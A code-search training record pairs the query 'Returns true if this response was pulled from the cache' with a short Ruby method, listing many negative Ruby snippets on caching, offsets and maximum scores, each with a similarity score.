[ "0.84744436", "0.8451418", "0.82386595", "0.7921987", "0.7716501", "0.7706298", "0.75794435", "0.7445407", "0.7382858", "0.7337756", "0.73342586", "0.7311722", "0.72317296", "0.71836114", "0.7179955", "0.71251917", "0.7123628", "0.71051335", "0.7089195", "0.7081865", "0.7065022", "0.70442057", "0.7026495", "0.7026495", "0.7016893", "0.7012416", "0.700301", "0.6998314", "0.69917774", "0.6983997", "0.6973371", "0.69672775", "0.6946281", "0.6946281", "0.6928752", "0.69094193", "0.6880134", "0.6880134", "0.6880134", "0.6878293", "0.6864195", "0.6864195", "0.6864195", "0.6864195", "0.6852963", "0.68486947", "0.68071467", "0.6806121", "0.6800167", "0.67891395", "0.67891395", "0.67803615", "0.6743553", "0.6743202", "0.67416483", "0.6738287", "0.67369384", "0.6731144", "0.6723101", "0.67011154", "0.67011154", "0.67011154", "0.6696551", "0.6695769", "0.66952354", "0.66790193", "0.6671651", "0.6649586", "0.6647773", "0.66397333", "0.66263425", "0.6623568", "0.66167563", "0.66067", "0.66017616", "0.6599941", "0.6599734", "0.6599688", "0.6592501", "0.65862095", "0.65795857", "0.6563554", "0.6562137", "0.6560527", "0.65593565", "0.6546111", "0.6514953", "0.6514652", "0.6513918", "0.650801", "0.6498819", "0.64941376", "0.6490896", "0.64894974", "0.64856637", "0.6484874", "0.6483298", "0.64811975", "0.648027", "0.648027" ]
0.6814806
46
Returns true if this response was pulled from the cache
def from_cache? @from_cache end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cache?\n caching && true\n end", "def cacheable?(response)\n return false unless response.success?\n return false unless method.in? CACHEABLE_METHODS\n return false if header.cache_control && header.cache_control.include?('no-store')\n true\n end", "def may_cache?\n may_cache_field?(headers['cache-control'])\n end", "def should_cache?\n false\n end", "def cached?\n cache_path.exist?\n end", "def cached?\n cache_path.exist?\n end", "def cached?\n !(!@cached)\n end", "def cacheable?\n return false if method != :get && method != :head\n return false if cache_control.no_store?\n true\n end", "def response_publicly_cached?\n !!(response.cache_control[:public])\n end", "def cachable?\n return false if header['Vary'] and header['Vary'].include?('*')\n return false if header['Cache-Control'] and header['Cache-Control'].include?('no-store')\n\n true\n end", "def cache?\n false\n end", "def cacheable?\n return false unless CACHEABLE_RESPONSE_CODES.include?(status)\n return false if cache_control.no_store? || cache_control.private?\n validateable? || fresh?\n end", "def do_http_cache?\n resources.flatten.select do |resource|\n resource.respond_to?(:updated_at)\n end &&\n controller.response.last_modified.nil? && !new_record?\n end", "def cached?(key)\n false\n end", "def cache_hit?\n @gapi.cache_hit\n end", "def cached?\n options[:cache] == true\n end", "def cacheable?\n true\n end", "def cacheable?\n @cacheable\n end", "def cacheable_request?\n (request.get? || request.head?) && (request.params[:cache] != 'false')\n end", "def use_cache?\n super && !against_head?\n end", "def use_cache?\n super && !against_head?\n end", "def cache_hit?(client)\n expanded_path = cache_path_for(client.resource)\n return false unless expanded_path\n # this covers permissions and the file actually existing on disk\n return false unless File.readable?(expanded_path)\n # return true if this is a regular file (eg: not a directory)\n return expanded_path if File.file?(expanded_path)\n end", "def cache?(key)\n auth_objects_cache.key? key\n end", "def fresh?\n if cache_control\n return false if cache_control.include?(\"no-cache\")\n\n # check age: max-age\n max_age = cache_control.find { |directive| directive.start_with?(\"s-maxage\") }\n\n max_age ||= cache_control.find { |directive| directive.start_with?(\"max-age\") }\n\n max_age = max_age[/age=(\\d+)/, 1] if max_age\n\n max_age = max_age.to_i if max_age\n\n return max_age > age if max_age\n end\n\n # check age: expires\n if @headers.key?(\"expires\")\n begin\n expires = Time.httpdate(@headers[\"expires\"])\n rescue ArgumentError\n return true\n end\n\n return (expires - Time.now).to_i.positive?\n end\n\n true\n end", "def cacheable?\n last.nil? || last.cacheable\n end", "def cached?(method, url, params = nil, body = nil)\n status = status(method, url, params, body)\n status[:status] != 'miss'\n end", "def cached?\n Dir.exist?(cached_repo_path)\n end", "def cached?; end", "def cache_hit?\n @gapi.statistics.query.cache_hit\n end", "def stale?\n return true if expired?\n if header['Cache-Control']\n return true if header['Cache-Control'].include?('must-revalidate')\n return true if header['Cache-Control'].include?('no-cache')\n end\n\n false\n end", "def cache_filled?\n !!@cache[:header] && !!@cache[:footer]\n end", "def cache_exists?\n File.exist?(cached_file)\n end", "def cached?(key)\n if @cache.key?(key)\n _data, _expire = *cache_read(key)\n return true if _expire.nil? || Time.now < _expire\n expire(key)\n end\n false\n end", "def fresh?(cached_response)\n age = cached_response_age(cached_response)\n max_age = cached_response_max_age(cached_response)\n\n if age && max_age # Always stale without these values\n age <= max_age\n end\n end", "def cached?(key)\n not @memcache.get(key).nil?\n end", "def retrieve_from_cache\n retrieved = false\n return retrieved if @_cache_key.nil?\n\n data = Taupe::Cache.get(@_cache_key) || nil\n unless data.nil? || data.empty?\n @_values = data\n retrieved = true\n end\n\n retrieved\n end", "def cached?(uri)\n @filter.include?(uri)\n end", "def leaked_request?\n !CacheUpdater.executing?\n end", "def cached_file?\n Settings.documents.page_cache && File.exists?(cache_file)\n end", "def cache_valid?(uri)\n last = last_cached(uri)\n (last > 0 && Time.now.to_i <= (last + @options[:expires_after].to_i))\n end", "def cached?\n @rules = cached_rules if cached_rules? && caching_on?\n end", "def cache_expired?\n return true unless cache_exist?\n File.new(@cache_file).mtime < Time::now - (@cache_life.to_i * 60)\n # TODO check html rendered date\n end", "def cache_exist?\n File.exist?(@cache_file)\n end", "def cache?\n return false if endpoint.options.nil?\n endpoint.options.fetch(:route_options, {}).fetch(:cache, false)\n end", "def is_cached_entity?\n # Set in initialize via marshal_load\n @loaded_from_cache\n end", "def skip_cache?\n return true unless method.in? CACHEABLE_METHODS\n header.cache_control && header.cache_control.include?('no-cache')\n end", "def cached_size?\n false\n end", "def cached?\n Cache.has? plist\n end", "def enabled?\n @cache_enabled\n end", "def enabled?\n @cache_enabled\n end", "def cache_on?; end", "def cache_on?; end", "def cache?\n persisted?\n end", "def cached?(key)\n cache_file = @config[:cache_directory] / \"#{key}.cache\"\n _data = _expire = nil\n if File.file?(cache_file)\n _data, _expire = Marshal.load(cache_read(cache_file))\n return true if _expire.nil? || Time.now < _expire\n FileUtils.rm_f(cache_file)\n end\n false\n end", "def move_to_cache\r\n true\r\n end", "def remove_repository_cache?\n !copy_cache\n end", "def read_from_cache?\n raise NotImplementedError, \"You must implement #{self.class}##{__method__}\"\n end", "def cacheable?(env)\n result = false\n if (url = request_url(env)).blank?\n log(\"NO URI for request #{env.inspect}\")\n elsif cacheable_paths&.none? { |path| url.include?(path) }\n log(\"NON-CACHEABLE URI: #{url}\")\n else\n result = true\n end\n result\n end", "def cacheable?(env)\n result = false\n if (url = request_url(env)).blank?\n log(\"NO URI for request #{env.inspect}\")\n elsif cacheable_paths&.none? { |path| url.include?(path) }\n log(\"NON-CACHEABLE URI: #{url}\")\n else\n result = true\n end\n result\n end", "def need_to_fetch?\n @need_to_fetch = true if @need_to_fetch.nil?\n @need_to_fetch\n end", "def has_key?(key)\n @cache.has_key?(key)\n end", "def cache_hit(response)\n response\n end", "def _in_cache?(field)\n return false if self.class._cache.blank?\n cached_obj = self.class._cache[\"#{object.id}.#{object.updated_at.to_i}\"]\n cached_obj.present? && cached_obj[field].present?\n end", "def request_fresh?\n # make sure we have something to compare too.\n return false unless last_modified or etag\n\n fresh = true\n\n # only check if we have set the right headers\n fresh &&= etag_matches?(self.etag) if etag\n fresh &&= not_modified?(self.last_modified) if last_modified\n fresh\n end", "def include?(entry)\n @cache.has_key?(key_for(entry))\n end", "def caching?\n @params.key?(:cache) ? @params[:cache] : @@caching\n end", "def has_cached_poster?\n @server.make_json_request('show.cache', tvdbid: @tvdbid)['data']['poster'] == 1\n end", "def render_page_from_cache\n if cached_page.live_exists?\n render :file => cached_page.live_path\n return true\n else\n render :text => 'Currently not in cache', :status => 503\n return false\n end\n end", "def load_cache\n return false\n\n if File.exists?(cache_filename)\n File.open(cache_filename, \"r\") do |f|\n save_date = f.readline.to_datetime\n if ( save_date + @@cache_expiration > DateTime.now )\n @data = JSON.parse(f.readline)\n end\n end\n end\n end", "def consider_caching?(path)\n return false if self.disabled\n return true if self.except.blank? && self.only.blank?\n return false if list_match?(self.except, path)\n return true if self.only.blank?\n return true if list_match?(self.only, path)\n false\n end", "def page_cache_exists?(url)\n File.exists? page_cache_test_file(url)\n end", "def cached_write?\n !@used.any?\n end", "def must_revalidate?\n cache_control.must_revalidate || cache_control.proxy_revalidate\n end", "def cache_page?\n return false unless @page && Alchemy::Config.get(:cache_pages)\n pagelayout = PageLayout.get(@page.page_layout)\n pagelayout['cache'] != false && pagelayout['searchresults'] != true\n end", "def cache_enabled?(opts)\n # only gets ever get cached\n return false unless opts[:method] == :get\n return false if opts[:cache_key].nil?\n return false unless Tml.cache.enabled?\n true\n end", "def should_cache?\n ctrait = controller.trait\n\n [ Global.cache_all,\n ctrait[:cache_all],\n actions_cached.map{|k,v| k.to_s}.include?(method),\n ].any?\n end", "def loaded?\n !! last_request_time\n end", "def loaded?\n !! last_request_time\n end", "def request_fresh?\n etag_matches?(self.etag) || not_modified?(self.last_modified)\n end", "def expire_cache_key?\n true\n end", "def using_cache\n\t\t(@modcache_invalidated != true)\n\tend", "def cache?\n val = @gapi.configuration.query.use_query_cache\n return false if val.nil?\n val\n end", "def cache_valid?\n return false unless File.exist?(cache_path)\n return true if checksum.nil?\n checksum == file_digest(cache_path)\n end", "def cached?(file_id)\n synchronize do\n return @cached_files.include?(file_id)\n end\n end", "def cached? *key\n @cache.has_key? key\n end", "def using_local_cache?\n @use_local_cache == true\n end", "def cache_valid?(certificate_entry)\n return false if certificate_entry.nil?\n\n (Time.now <= (certificate_entry[:timestamp] + CERTIFICATE_CACHE_TIME))\n end", "def move_to_cache\n false\n end", "def cached?\n Report::Table::CachedRow.exists_for_table?(table_key)\n end", "def loaded?\n self.response_data.present?\n end", "def cache_warmed?\n Rails.cache.fetch(PHOTOGRAPHY_CACHE_WARMED_KEY)\n end", "def move_to_cache\n true\n end", "def include?(key)\n File.exist?(cache_path(key))\n end", "def move_to_cache\n true\n end", "def move_to_cache\n true\n end", "def move_to_cache\n true\n end", "def archived?\n @is_archived ||= begin\n raise NotFetchedError unless fetched?\n !!(@data =~ /<li>This cache has been archived/)\n end\n end", "def is_in_cache(var)\n Rails.cache.exist?(var)\nend", "def has_cacheable_credentials?\n bearer_token.present?\n end", "def write_cache?\n if site.front_page_cached and c = cache_url\n #Rails.logger.info(\"request.path:::: #{request.path}\")\n cache_page(response.body, File.join(site.cache_path, c).to_s)\n end\n end" ]
[ "0.7861747", "0.7729373", "0.7553277", "0.7456046", "0.7452355", "0.7444855", "0.74419945", "0.7400149", "0.739624", "0.73956656", "0.7355506", "0.7350835", "0.7340451", "0.72834605", "0.7238636", "0.7236503", "0.72065", "0.7158383", "0.71472955", "0.7073289", "0.7073289", "0.7065653", "0.7062582", "0.7061094", "0.70415694", "0.7014445", "0.6995517", "0.69941366", "0.69775367", "0.69650257", "0.69423646", "0.6932792", "0.6909274", "0.6892557", "0.6892369", "0.6865739", "0.6852804", "0.6778225", "0.6729978", "0.6728765", "0.6708609", "0.6695516", "0.66835606", "0.66665757", "0.66550153", "0.6649271", "0.66485757", "0.664772", "0.6645209", "0.6645209", "0.66446", "0.66446", "0.66445976", "0.6609446", "0.6598431", "0.65870297", "0.6556621", "0.6551441", "0.6551441", "0.65489465", "0.65299433", "0.6524105", "0.65239406", "0.65211844", "0.65136284", "0.6513208", "0.6512367", "0.65123594", "0.65015346", "0.64980096", "0.64899844", "0.6489373", "0.64820963", "0.6475913", "0.6473672", "0.64630705", "0.6457032", "0.6457032", "0.64509255", "0.6442226", "0.64318556", "0.642269", "0.6422119", "0.6418201", "0.6407588", "0.64059776", "0.6396543", "0.6390602", "0.63757", "0.6366366", "0.6365225", "0.63503844", "0.63443655", "0.6319851", "0.6319851", "0.6319851", "0.62902707", "0.62741107", "0.62727433", "0.62687963" ]
0.7353403
11
Returns the offset that was given in the request
def offset @offset ||= raw_response['response']['start'] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_offset\n @offset\n end", "def offset\n sanitize search_params['offset']\n end", "def offset()\n @offset__\n end", "def offset\n execute['offset']\n end", "def get_current_offset\n @offset < 0 ? 0 : @offset\n end", "def offset\n limit_and_offset.last\n end", "def input_start_offset\n _response_word.fetch(\"startingPos\", nil)\n end", "def to_find_offset\n @offset\n end", "def offset\n self[:ip_off]\n end", "def offset\n\t\t\t@position + @offset\n\t\tend", "def current_offset; end", "def offset\n fil_header[:offset]\n end", "def offset\n 1\n end", "def offset\n @object.send(:read_attribute,@startAttribute)\n end", "def offset\n operation.offset\n end", "def offset; end", "def offset; end", "def offset; end", "def offset\n @offset/86400.0\n end", "def server_result_offset\n self.parameters[:result_offset]\n end", "def offset\n (page - 1) * PER_PAGE\n end", "def offset_sec\n @offset\n end", "def offset\n @options[:offset] || ((current_page - 1) * per_page)\n end", "def offset\n address(relative: true)\n end", "def offset\n (current_page - 1) * per_page\n end", "def offset\n (current_page - 1) * per_page\n end", "def offset\n (current_page - 1) * per_page\n end", "def offset(*) end", "def offset\n (current_page - 1) * per_page\n end", "def offset\n (current_page * size) - size\n end", "def first_offset; end", "def first_offset; end", "def standard_offset\n return @standard_offset\n end", "def view_offset\n @position + @view.position\n end", "def offset(arg0)\n end", "def offset\n (current_page - 1) * per_page\n end", "def calc_input_offset\n if input_count.zero?\n 0\n else\n buffer.abs_offset\n end\n end", "def input_end_offset\n _response_word.fetch(\"endingPos\", nil)\n end", "def original_query_offset\n (hits_requested - 1) / 2\n end", "def offset\n if page <= 1\n # We want first page of results\n 0\n else\n # Max offset for search API is 999\n # If there are 20 results and the user requests page 3, there will be an empty result set\n [((page - 1) * limit), 999].min\n end\n end", "def max_offset\n input.max_offset\n end", "def b_offset\n @last_4[1].to_i\n end", "def get_offset(opts)\n phash = Hash[@processors.map.with_index.to_a]\n if opts[:before]\n offset = phash[Mdoc.get_processor(opts[:before])]\n elsif opts[:after]\n offset = phash[Mdoc.get_processor(opts[:after])] + 1\n end\n offset\n end", "def offset\n if @time\n @time.utc_offset\n elsif @datetime\n (3600*24*@datetime.offset).to_i\n elsif @timestamp_with_offset\n @timestamp_with_offset.utc_offset\n else\n 0\n end\n end", "def offset\n @offset ||= (position.unitless? || position.unit_str == \"px\") ? position.value : 0\n end", "def to_find_offset\n @conditions.to_find_offset\n end", "def line_offset\n\t\t\t@offset - @line_range.min\n\t\tend", "def offset\n loffset + 6\n end", "def get_offset\n if @offset == nil and @rep\n attribs = @rep.get_attributes \"camera\"\n if( attribs )\n eo = attribs[\"eo\"]\n if( eo.kind_of?(Array) and eo.length == 3 )\n @offset = eo\n end\n end\n @offset = false if @offset == nil\n end\n @offset\nend", "def get_offset_and_limit\n if @request_params[:offset].present?\n offset = @request_params[:offset].to_i\n offset = 0 if offset < 0\n end\n\n limit = @request_params[:limit].to_i\n if limit < 1\n limit = 25\n elsif limit > 100\n limit = 100\n end\n\n if offset.nil? && @request_params[:page].present?\n offset = (@request_params[:page].to_i - 1) * limit\n offset = 0 if offset < 0\n end\n\n offset ||= 0\n\n @params = {offset: offset, limit: limit}\n end", "def time_offset\n\t if @time_offset.empty? then 0\n\t else @time_offset.last[1] \n\t end\n\tend", "def map_input_start_offset\n ENV['map_input_start']\n end", "def map_input_start_offset\n ENV['map_input_start']\n end", "def offset\n match = File.basename(@path).match(/\\d+\\.\\d\\d\\b/)\n return match[0] if match\n end", "def content_offset(offset, dimension)\n return 0 unless offset >= dimension\n\n offset - dimension\n end", "def tell\n @offset\n end", "def offset_of(member)\n self::MEMBERS_HASH[member].offset\n end", "def parse_index_offset\n return -1 if @isMzData\n r = %r{\\<indexOffset\\>(\\d+)\\<\\/indexOffset\\>}\n seekoffset = -120\n while true \n self.seek(seekoffset, IO::SEEK_END)\n if (r.match(self.read)) then \n return $1.to_i\n end\n seekoffset -= 10\n return -1 if seekoffset <= -1000\n end\n end", "def line_for_offset(offset)\n if line_nbr = line_index.index {|x| x > offset}\n return line_nbr\n end\n # If not found it is after last\n return line_index.size\n end", "def offset\n if @time\n @time.utc_offset\n elsif @datetime\n (3600*24*@datetime.offset).to_i\n else\n 0\n end\n end", "def determine_offset( image )\n offset_value = offset.is_a?( Rational ) ? image.size( axis ) * offset.to_f : offset\n return offset_value.to_i\n end", "def offset_params\n if params[:offset].present?\n @offset = params[:offset].to_i\n end\n if params[:limit].present?\n @limit = params[:limit].to_i\n end\n @offset ||= OFFSET\n @limit ||= LIMIT\n end", "def offset_params\n if params[:offset].present?\n @offset = params[:offset].to_i\n end\n if params[:limit].present?\n @limit = params[:limit].to_i\n end\n @offset ||= OFFSET\n @limit ||= LIMIT\n end", "def offset_params\n if params[:offset].present?\n @offset = params[:offset].to_i\n end\n if params[:limit].present?\n @limit = params[:limit].to_i\n end\n @offset ||= OFFSET\n @limit ||= LIMIT\n end", "def offset(val)\n @params[:retstart] = val\n self\n end", "def offset_params\r\n if params[:offset]\r\n @offset = params[:offset].to_i\r\n end\r\n if params[:limit]\r\n @limit = params[:limit].to_i\r\n end\r\n @offset ||= OFFSET\r\n @limit ||= LIMIT\r\n end", "def local_offset(time = Time.now)\n Time.at(time.to_i).to_datetime.offset\n end", "def index_offset(io, tag='indexListOffset', bytes_backwards=200)\n tag_re = %r{<#{tag}>([\\-\\d]+)</#{tag}>}\n io.pos = (io.size - 1) - bytes_backwards\n md = io.readlines(\"\\n\").map {|line| line.match(tag_re) }.compact.shift\n md[1].to_i if md\n end", "def local_offset\n @time.getlocal.utc_offset\n end", "def get_result_set_offset(page_num)\n page_num = get_validated_page_num(page_num)\n @items_per_page * (page_num -1)\n end", "def line_offset(pos=pos())\n p = 0\n string.each_line do |line|\n len = line.length\n return (pos - p) if p + len >= pos\n p += len\n end\n 0\n end", "def local_header_offset; end", "def current_offset\n ZK.open(KafkaSync.zk_hosts) do |zk|\n get_current_offset(zk)\n end\n end", "def api_offset(params)\n dataset = self\n\n # Offset results\n if num = params['offset']\n i = num.to_i\n if num =~ /[^\\d]/\n raise ApiException.new(\"invalid offset (#{num}) is not an integer\")\n else\n dataset.opts[:offset] = i\n end\n elsif num = params['page']\n i = num.to_i\n if num =~ /[^\\d]/\n raise ApiException.new(\"invalid page (#{num}) is not an integer\")\n elsif i <= 0\n raise ApiException.new(\"invalid page (#{num}) is less than 1\")\n else\n dataset.opts[:offset] = (i - 1) * dataset.opts[:limit]\n end\n end\n\n dataset\n end", "def token_pos offset\n [offset - @line_pos, @line]\n end", "def error\n @current_offset\n end", "def offset(name)\n x = @mod[name]\n if x.is_a?(WokVar)\n x.offset\n else\n nil\n end\n end", "def calculate_offset(page)\n if page && page != '1'\n (page.to_i - 1) * 20 - 1\n else\n 0\n end\nend", "def view_offset\n @position + Moon::Vector3[@view.position, 0]\n end", "def offset_on_line(offset)\n line_offset = line_index[line_for_offset(offset)-1]\n if multibyte?\n @string.byteslice(line_offset, offset-line_offset).length\n else\n offset - line_offset\n end\n end", "def lines_offset\n @starting_line - 1\n end", "def offset_in_days\n return @offset_in_days\n end", "def line_offset(pos=pos)\n p = 0\n string.each_line do |line|\n len = line.length\n return (pos - p) if p + len >= pos\n p += len\n end\n 0\n end", "def payload_offset\n offset =\n case @datalink\n when Capp::DLT_NULL then\n 4\n when Capp::DLT_EN10MB then\n 14\n end\n\n case\n when ipv4? then offset += @ipv4_header.ihl * 4\n when ipv6? then offset += 40\n else raise NotImplementedError\n end\n\n case\n when tcp? then offset += @tcp_header.offset * 4\n when udp? then offset += 8\n else raise NotImplementedError\n end\n\n offset\n end", "def next_offset\n next_offset = offset + limit\n return nil if next_offset >= total\n\n next_offset\n end", "def offset(time)\n time\n end", "def offset\n Array.new(headers.length, '')\n end", "def get_record_offset(num)\r\n\t\t\theader_len,record_len=@header_len,@record_len\r\n\t\t\tunless (header_len!=nil and record_len!=nil)\r\n\t\t\t\traise \"Header and record lengths not known in get_record_offset\\n\"\r\n\t\t\tend\r\n\t\t\tunless num!=nil\r\n\t\t\t\traise \"Number of the record must be specified in get_record_offset\\n\"\r\n\t\t\tend\r\n\t\t\treturn header_len+num*record_len\r\n\t\tend", "def sum_offset\n offset + operand.offset\n end", "def char_offset(offset)\n effective_line = @locator.line_for_offset(offset)\n locator.char_offset(offset) + (effective_line * @leading_line_offset) + @leading_offset\n end", "def offsetX\n\t\t@db.hget('sgt-sector:' + @id, 'offsetx').to_i\n\tend", "def offset_on_line(offset)\n line_offset = line_index[ line_for_offset(offset)-1 ]\n @string.byteslice(line_offset, offset-line_offset).length\n end", "def offsetY\n\t\t@db.hget('sgt-sector:' + @id, 'offsety').to_i\n\tend", "def getPayloadOffsets(payload)\n @offsets\n end", "def previous_offset\n @previous_offset ||= if after\n offset_from_cursor(after)\n elsif before\n offset_from_cursor(before) - (last ? last : 0) - 1\n else\n 0\n end\n end", "def offset_after_match\n offset + match_length\n end", "def get_offset()\n # Check if an offset has been given. If not set it to 1 or 2.\n if @metadata[:bars_per_chord_prog] == nil\n @metadata[:bars_per_chord_prog] = [1, 2].choose\n end\n return @metadata[:bars_per_chord_prog]\n end", "def time_offset\n calc_time_offset unless @time_offset\n @time_offset\n end", "def current_column\n @col_offset\n end", "def offset(off)\n return self if off == 0\n next_item.offset(off - 1)\n end" ]
[ "0.83975756", "0.7800804", "0.7694254", "0.7447479", "0.74038315", "0.73133326", "0.730925", "0.73012954", "0.72694385", "0.7230044", "0.722516", "0.722283", "0.72023773", "0.7188196", "0.71738625", "0.70578796", "0.70578796", "0.70578796", "0.7044722", "0.69927454", "0.69457924", "0.6915351", "0.689094", "0.68386865", "0.68224984", "0.68224984", "0.68224984", "0.68154836", "0.6804988", "0.67999333", "0.6797378", "0.6797378", "0.6789033", "0.6734968", "0.673067", "0.6704391", "0.6704331", "0.6697856", "0.66947687", "0.6668165", "0.66623485", "0.6630358", "0.6611049", "0.6556897", "0.6555672", "0.6531905", "0.6528622", "0.65104777", "0.64836", "0.6483207", "0.6469122", "0.6448926", "0.6448926", "0.6436615", "0.64244163", "0.6424376", "0.63758874", "0.6373221", "0.63731146", "0.6345021", "0.6335706", "0.6334941", "0.6334941", "0.6334941", "0.6290016", "0.6263443", "0.62340945", "0.62306243", "0.6196649", "0.61801034", "0.6154393", "0.615379", "0.61413455", "0.61381894", "0.61351895", "0.61315906", "0.61058354", "0.60930765", "0.60883766", "0.60865337", "0.60707635", "0.6061692", "0.6058871", "0.6037365", "0.60316753", "0.6024555", "0.60162795", "0.6011598", "0.5981715", "0.59804887", "0.59714395", "0.5971009", "0.59701174", "0.59685993", "0.5953211", "0.5943326", "0.5931458", "0.5911994", "0.5890773", "0.5890191" ]
0.78759104
1
Returns the max score of the result set
def max_score @max_score ||= raw_response['response']['maxScore'].to_f end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def max\n @raw.max_by(&:score)\n end", "def get_maximum_score()\n max_score = 0\n\n self.scores.each { |score| max_score = max_score + score.question.questionnaire.max_question_score }\n\n max_score\n end", "def highest_score\n sort\n all.first.score\n end", "def highest_score\n sorted_all_scores = self.leaderboard_entries.order(score: :DESC)\n sorted_all_scores[0]\n end", "def max_score\n @solr_data[:max_score]\n end", "def max_score\n @solr_data[:max_score]\n end", "def max_score\n return score if @state != STATE_OK\n\n next_boards.map(&:min_score).min\n end", "def highest_total_score\n total_goals.max\n end", "def highest_player_score\n players.max_by{|player| player.score}.score\n end", "def get_max_score(list)\n max = list[0].value\n list.each do |l|\n max = l.value if l.value > max\n end\n return max\n end", "def max_score\n return nil if metrics.empty?\n metrics.sum(&:weighted_max_score)\n end", "def highest_word_score\n \t@scores_array.max\n end", "def highest_word_score\n Scoring.score(highest_scoring_word)\n end", "def max_scores\n next_boards.map(&:max_score)\n end", "def highest_total_score\n @game_manager.highest_total_score\n end", "def score\n regions.map(&:score).max\n end", "def highest_word_score\n word = highest_scoring_word\n highest_score = Scrabble::Scoring.score(word)\n return highest_score\n end", "def highest_scoring_word\n \tScoring.highest_score_from(@words_played)\n end", "def best_score\n submissions.min(:score)\n end", "def highest_word_score\n return highest_scoring_value = Scrabble::Scoring.score(highest_scoring_word)\n end", "def max_score\n problem.weight\n end", "def highest_word_score\n return Scrabble::Scoring.score(highest_scoring_word)\n end", "def max_total_score\n review_criterions.collect{|c| c.max_score}.sum\n end", "def highest_word_score\n Scrabble::Scoring.score(Scrabble::Scoring.highest_score_from(@plays_array))\n end", "def highest_scoring_word\n Scoring.highest_score_from(plays)\n end", "def max_score(creative_quality)\n max_score = 0\n self.question_responses\n .select{|el| max_score += el.question.question_choices.max{|el| el.score}.score if el.question_choice.creative_quality.name === creative_quality}\n max_score\n end", "def find_max()\r\n self.max\r\n end", "def highest_scoring_word\n Scrabble::Scoring.highest_score_from(@plays_array)\n end", "def question_max_score\n question = Question.find(self.question_id)\n if question.type == \"Checkbox\"\n return 1\n elsif question.is_a? ScoredQuestion\n @question_max_score\n else\n \"N/A\"\n end\n end", "def question_max_score\n question = Question.find(self.question_id)\n if question.type == \"Checkbox\"\n return 1\n elsif question.is_a? ScoredQuestion\n @question_max_score\n else\n \"N/A\"\n end\n end", "def best_result(triplet)\n triplet.max\nend", "def best_score(a_of_g)\n best_score = a_of_g.flatten.return_objects_with(:attempts, 0).max_attribute(:adjusted_goodness)\n end", "def highest_match_value\n values = @hand.select { |dice| @hand.count(dice) == highest_match_count }\n values.max\n end", "def find_max\n\t# Use method: stu_max = @students_list.max_by{|x| x.avg}\n\t max =0\n\t for i in 0..(@students_list.length-1) \n\t\tif @students_list[i].avg > max\n\t\t max = @students_list[i].avg\n\t\t stu_max = @students_list[i]\n\t\tend\n\t end\n\t puts \"Student who has max avg\".center(30)\n\t puts \"Name: #{stu_max.name}\".rjust(20)\n\t puts \"Birthday: #{stu_max.birthday}\".rjust(20)\n\t puts \"Math: #{stu_max.math}\".rjust(20)\n\t puts \"Literature: #{stu_max.liter}\".rjust(20)\n\t puts \"English: #{stu_max.eng}\".rjust(20)\n\t puts \"AVG: #{stu_max.avg}\".rjust(20)\n\tend", "def high(x)\r\n x.split.max_by{|x| score_word(w)} end", "def get_max_results\n @max_results\n end", "def winner\n @players.max_by{ |player| player.score}\n end", "def highest_scoring_word\n return Scrabble::Scoring.highest_score_from(@plays)\n end", "def high_score\n if self.end_date < Date.today\n self.teams.max_by { |team| team.score }.score\n end\n end", "def highest_predicted_localization\n @score_hash.max{ |a,b|\n a[1] <=> b[1]\n }[0]\n end", "def winner\n @players.max_by do |player|\n player.score\n end\n end", "def calculate_result\n max_conv = @conversions.first\n @conversions.each { |conv| max_conv = conv if @scores[conv.key] > @scores[max_conv.key] }\n\n max_conv\n end", "def max_score\n mapping.select{ |x,v| v.present? }.keys.map { |k| k.gsub(/#{MAP_KEY}/,'').to_i }.max || -1\n end", "def highest_scoring_word\n word = Scrabble::Scoring.highest_score_from(plays)\n return word\n end", "def highest_scoring_word\n highest_scoring_word = Scrabble::Scoring.highest_score_from(@array_of_words)\n\n return highest_scoring_word\n end", "def weighted_max_score\n max_score * weight\n end", "def max\n end", "def max\n end", "def max_value\n max = 0\n\n @matrix.each do |row|\n row_max = row.max\n max = row_max if row_max > max\n end\n\n max\n end", "def get_max()\n end", "def max\n if self.root.right_child.nil?\n return {self.root.title => self.root.score}\n else\n recursive_max(self.root.right_child)\n end\n end", "def max; end", "def max; end", "def get_max\n @max\n end", "def mostPoints\n players.max_by do|name, stats|\n stats[:points]\n end\nend", "def highest_score_from(words) \n all_scores = []\n\n words.each do |word|\n score = score_word(word)\n all_scores << {:word => word, :score => score}\n end\n \n highest_score = all_scores.max_by{|word_with_score| word_with_score[:score]}\n p \"This is one max score: #{highest_score}\"\n \n all_highscores = all_scores.select{|word_with_score| word_with_score[:score] == highest_score[:score]}\n puts \"This is ALL the words that match high score: #{all_highscores}\"\n \n tied_words = []\n all_highscores.each do |hash|\n tied_words << hash[:word]\n end\n\n winning_word = break_ties(tied_words)\n\n puts \"This is our winning word: #{winning_word}\"\n return {:word => winning_word, :score => (highest_score[:score])}\nend", "def winning_scores\n high_score = scores.max{|score| score.total}.total\n scores.select {|score| score.total == high_score}\n end", "def highest_scoring_visitor\n @teams.max_by { |team| team.average_away_goals }.team_name\n end", "def score\n @result.to_i\n end", "def highest_score_from(words)\n maximum_score = words.map { |word| score_word(word) }.max\n highest = words.select { |word| score_word(word) == maximum_score }\n if highest.length == 1 \n winning_word = highest.first\n else\n highest_lengths = highest.map {|i| i.length}\n if highest_lengths.any? { |x| x == 10}\n index_of_length_10 = highest_lengths.find_index(10)\n winning_word = highest[index_of_length_10]\n else\n winning_word = highest[highest_lengths.find_index(highest_lengths.min)]\n end \n end\n\n results = Hash.new\n results[:score] = maximum_score\n results[:word] = winning_word \n\n return results\nend", "def pass\n @score = @rubric_item.max_score\n end", "def max\n @max\n end", "def max\n @max\n end", "def find_best_score(total_per_player)\n best_score = 0\n winner = ''\n total_per_player.each do |player_name,total|\n\n if total > best_score\n best_score = total\n winner = player_name\n end\n end\n return winner\n end", "def highest_score_from(words)\n highest_score = 0\n winning_words = []\n words.each do |word|\n if score_word(word) > highest_score\n highest_score = score_word(word)\n winning_words.clear << word\n elsif score_word(word) == highest_score\n winning_words << word\n end\n end\n\n # no tie scenario\n if winning_words.count == 1\n return {word: winning_words[0], score: highest_score}\n else \n\n # tie scenario\n winning_words.each do |word|\n # determines whether word is 10 letters long\n if word.length == 10\n return {word: word, score: highest_score}\n end\n end\n # if there is no 10 letter word, find shortest word\n winner = winning_words.min_by do |word|\n word.length\n end \n\n return {word: winner, score: highest_score}\n end \nend", "def factor_max_labs\n 